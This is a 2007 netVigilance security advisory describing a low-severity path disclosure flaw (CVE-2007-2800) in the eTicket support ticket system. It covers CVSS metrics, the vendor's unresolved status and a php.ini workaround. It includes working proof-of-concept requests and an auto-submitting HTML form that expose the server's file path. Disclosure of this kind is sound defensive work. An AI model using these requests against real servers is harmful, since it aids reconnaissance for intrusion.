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netVigilance Security Advisory
 
 
 
eTicket version 1.5.5 Path Disclosure Vulnerability
 
 
*

Fact: More than 15 vulnerabilities were discovered EVERY day of 2009

Description:

eTicket is an electronic (open source) support ticket system based on osTicket, that can receive tickets via email (pop3 or pipe) and a web-based form, as well as manage them using a web interface.

External References:
Mitre CVE: CVE-2007-2800
NVD NIST: CVE-2007-2800
OSVDB: 34785


Summary:
eTicket is an electronic (open source) support ticket system based on osTicket.
A security problem in the product allows attackers to gather the true path of the server-side script.

Release Date:
June 27 2007

Severity:
Risk: Low

CVSS Metrics:
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed

Vulnerability Impact: Attack
Host Impact: Path disclosure

SecureScout Testcase ID:
TC 17960

Vulnerable Systems:
eTicket version 1.5.5 (new version 1.5.5.1 is also vulnerable)

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings.

Vendor:
HM2K

Vendor Status:
HM 2K from eTicket got the Draft advisory on 21 May 2007 and got extensive support in how to fix the security problems on 23 May 2007 and 28 May 2007.
In HM 2K's own words HM 2K "lost interest" and HM 2K "seriously found it too difficult to orchestrate what you [netVigilance] were asking from me [HM 2K], so I just did what I thought was best.". netVigilance's tests show that version 1.5.5.1 is also vulnerable. There currently is no official fix for this advisory.

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.

Example:

REQUEST:
http://[TARGET]/[PRODUCT FOLDER]/index.php?name[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?email[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?phone[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?subject[]=1 OR (available for version 1.5.5 and also for new version 1.5.5.1) Make file (example.html) with the next content: " <html> <body onLoad="document.forms(0).submit();"> <form action="http://[TARGET]/[PRODUCT FOLDER]/index.php" method="POST"> <input type="hidden" name="name[]" value="1"> <input type="hidden" name="email[]" value="1"> <input type="hidden" name="phone[]" value="1"> <input type="hidden" name="subject[]" value="1"> </form> </body> </html> " Then load it in any web browser.

REPLY:
<b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array given in <b>[DISCLOSED PATH][PRODUCT FOLDER]\inc\open_form.php</b> on line <b>[18 OR 26 OR 31 OR 51 OR 55]</b><br />



Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com


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